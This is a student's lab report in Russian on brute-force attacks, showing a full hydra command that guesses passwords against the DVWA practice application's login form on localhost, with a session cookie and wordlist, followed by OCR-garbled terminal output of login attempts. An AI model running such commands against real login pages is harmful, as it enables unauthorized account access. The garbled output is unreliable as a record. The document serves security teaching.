Индивидуальный проект - этап 3

Кузнецова Александра Сергеевна¹ 15 марта, 2025, Москва, Россия

¹Российский Университет Дружбы Народов

Цели и задачи работы ——

Цель лабораторной работы

Целью данной работы является изучение атак типа брут-форс и инструмента hydra.

лабораторной работы

Процесс выполнения

Введение

Атака брут-форс (англ. brute force attack) — это метод взлома, основанный на последовательном переборе возможных комбинаций значений (паролей, ключей шифрования и т. д.), чтобы подобрать правильное значение и получить несанкционированный доступ.

Введение

Атаки брут-форс являются одним из самых простых, но эффективных способов взлома учетных записей, если системы не защищены должным образом.

Сильные пароли, ограничения на количество попыток входа и двухфакторная аутентификация могут значительно уменьшить вероятность успешной атаки.

Страница веб-формы



Рис. 1: Страница веб-формы

Команда для запуска hydra

```
hydra -l admin -P /usr/share/dirb/wordlists/small.txt \
localhost http-get-form "/DVWA/vulnerabilities/brute/ \
:username=^USER^&password=^PASS^&Login=Login: \
H=Cookie: PHPSESSID=f2q94tbasiksr9q31mlg9d4qum; \
security=medium:F=Username and/or password incorrect." \
-V
```

Результат подбора

```
"Course asturaccous. |-c|
"S hydrs -1 dann -9 /mar/Ahmer/dirk/wordlists/mmall.tst localbost http-get-form '/OWA/valborzbilities/brote/isser
name 'UBEP'passaword' PWSD Singin-loginHcoskie: PWSDSIDFARWitbasiksrapilalgodeam; security-medium: Fulername a
machor password in Courter. '"
whydra v6.5 (c) 2022 by van Hauser/Hh & David Maciejak - Please do not use in military or secret service organization
no, or for Illegal purposes (this is non-bioding, these ** ignore laws and ethics anyway).

Myers (https://github.com/ambauser-thr/thc-hydrs) starting at 2025-00-15 00:17:12

(DATA) anz is tasks per i server, overell 16 lasks, 909 login tres (11/19599). "60 tries per task

(DATA) attacking http-get-form://localbost100/0WA/wollersbilltims/brote/issername*-DEEP'password-PMSD*Ologin-logi
(DATA) anz is tasks per i server, overell 16 lasks, 909 login tres (11/19599). "60 tries per task

(DATA) attacking http-get-form://localbost100/0WA/wollersbilltims/brote/issername*-DEEP'password-PMSD*Ologin-logi
(DATA) attacking http-get-form://localbost100/0WA/wollersbilltims/brote/issername*-DEEP'password-PMSD*Ologin-logi
(ATTSPF) target localbost - login 'admin' - pass '00' - 2 of 909 (child 3) (0/0)

(ATTSPF) target localbost - login 'admin' - pass '00' - 3 of 909 (child 3) (0/0)

(ATTSPF) target localbost - login 'admin' - pass '10' - 5 of 909 (child 3) (0/0)

(ATTSPF) target localbost - login 'admin' - pass '10' - 5 of 909 (child 3) (0/0)

(ATTSPF) target localbost - login 'admin' - pass '100' - 5 of 909 (child 3) (0/0)

(ATTSPF) target localbost - login 'admin' - pass '100' - 5 of 909 (child 3) (0/0)

(ATTSPF) target localbost - login 'admin' - pass '100' - 5 of 909 (child 3) (0/0)

(ATTSPF) target localbost - login 'admin' - pass '20' - 3 of 909 (child 3) (0/0)

(ATTSPF) target localbost - login 'admin' - pass '20' - 3 of 909 (child 3) (0/0)

(ATTSPF) target localbost - login 'admin' - pass '20' - 3 of 909 (child 3) (0/0)

(ATTSPF) target localbost - login 'admin' - pass '20' - 3 of 909 (child 3) (0/0)
```

Рис. 2: Результат подбора

Выводы по проделанной работе

Вывод

Мы приобрели знания об атаках брут-форс и инструменте hydra.